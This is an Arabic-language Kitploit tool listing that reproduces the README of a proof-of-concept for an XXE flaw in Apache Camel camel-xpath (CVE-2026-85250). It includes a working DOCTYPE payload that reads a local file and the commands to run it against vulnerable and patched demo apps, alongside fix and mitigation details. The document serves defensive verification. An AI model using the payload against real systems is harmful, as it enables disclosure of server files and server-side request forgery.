Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-85250 — إثبات مفهوم XXE قابل للتشغيل لـ CVE-2026-85250 في Apache Camel camel-xpath (documentType=InputSource)، مع عروض توضيحية متأثرة ومُصلحة لكل من Spring Boot وQuarkus. | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-85250
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليم
GitHuboscerd/cve-2026-85250

CVE-2026-85250

إثبات مفهوم XXE قابل للتشغيل لـ CVE-2026-85250 في Apache Camel camel-xpath (documentType=InputSource)، مع عروض توضيحية متأثرة ومُصلحة لكل من Spring Boot وQuarkus.

عرض المستودع
1منذ 22س 9دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-85250 — camel-xpath: معالجة الكيانات الخارجية في XML (documentType=InputSource)

مُعيد إنتاج قابل للتشغيل (proof-of-concept) لثغرة Apache Camel حيث، عند ضبط documentType على InputSource، كان XPathBuilder يمرّر الحمولة مباشرةً إلى javax.xml.xpath، الذي يبني DocumentBuilder خاصًا به باستخدام إعدادات JDK الافتراضية. وبذلك تم تجاوز التحصين المطبَّق على نوع المستند الافتراضي في Camel: فقد تم قبول تصريح DOCTYPE الذي يُرفض على النوع الافتراضي هنا، وتم حلّ الكيان الخارجي الذي صرّح به وتوسيعه داخل المستند المُقيَّم. ويمكن لمرسل خارجي يصل XML الخاص به إلى تعبير كهذا أن يقرأ الملفات التي يمكن لعملية Camel قراءتها وأن يتسبب في قيام العملية بإرسال طلبات إلى مضيفين يحددهم.

بيئة التشغيلالدليلالمكدّس
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-xpath 4.22.0 (متأثرة؛ مُصلحة في 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0، متأثرة؛ ضابط مُصلح CQ 3.40.0 / Camel 4.22.1)

يُظهر كلا الوحدتين السلوك المتأثر و السلوك المُصلح.

ما الذي يوضحه

يُزرع ملف "سرّي" غير ضار على القرص (cve-2026-85250-secret.txt، يحتوي على سلسلة علامة)، ليقوم مقام ملف محلي يمكن لعملية Camel قراءته. يرسل المهاجم XML — على هيئة InputStream، وهو ما يتحول إلى InputSource — يحمل تصريح DOCTYPE يشير كيانه الخارجي إلى ذلك الملف:

<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>

يقيّم المسار xpath("/test/text()").documentType(InputSource.class) على متن الطلب.

  • المتأثر: محلّل InputSource (إعدادات JDK الافتراضية) يحلّ الكيان الخارجي، لذا تكون نتيجة XPath هي محتويات الملف — أي تسريب العلامة.
  • المُصلَح: يُرفض DOCTYPE بواسطة المحلّل المُحصَّن (نفس المحلّل الذي يستخدمه نوع المستند الافتراضي)، لذا يفشل التقييم قبل حلّ أي كيان.
# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused

ملخص الثغرة الأمنية

الخاصيةالقيمة
المكوّنcamel-xpath (XPathBuilder، documentType=InputSource)
CWECWE-611 (التقييد غير السليم لمرجع الكيانات الخارجية في XML)
الخطورةعالية
ناقل الهجومXML غير موثوق يُقيَّم بواسطة تعبير XPath مُهيَّأ باستخدام documentType=InputSource
التأثيرXXE: الكشف عن الملفات المحلية وتزوير الطلبات من جانب الخادم عبر الكيانات الخارجية
الإصدارات المتأثرةمن 4.0.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.1
الإصدارات المُصلحة4.18.5، 4.22.1، 4.23.0
JIRACAMEL-24475
الفضلClaude Security Scan Tool

الإشعار الأمني: https://camel.apache.org/security/CVE-2026-85250.html

الإصلاح

أصبح XPathBuilder الآن يوجّه InputSource (وSAXSource) عبر toHardenedDocument()، الذي يحوّله إلى org.w3c.dom.Document باستخدام نفس DocumentBuilderFactory المُحصَّن الذي يستخدمه نوع المستند الافتراضي بالفعل، قبل تسليمه إلى محرك XPath — بحيث يُحلَّل كلا نوعي المستندات بنفس التهيئة ويُرفض DOCTYPE. لاحظ أن نوع InputSource أصبح الآن أيضًا يشارك نوع المستند الافتراضي في مخرج الطوارئ الموثّق نفسه: نفس خصائص النظام الخاصة بـ DocumentBuilderFactory التي تخفّف نوع المستند الافتراضي تخفّف هذا النوع أيضًا.

التخفيف إذا لم تتمكن من الترقية

لا تستخدم documentType=InputSource على التعبيرات التي تُقيَّم على XML غير موثوق؛ فنوع المستند الافتراضي بالفعل يرفض DOCTYPE.

إخلاء المسؤولية

نُشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم الثغرة الأمنية، والتحقق مما إذا كانوا متأثرين بها، وتأكيد أن الترقية تحلّها. ملف "secret" هو علامة مزروعة خاملة. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.

تنزيل الأداة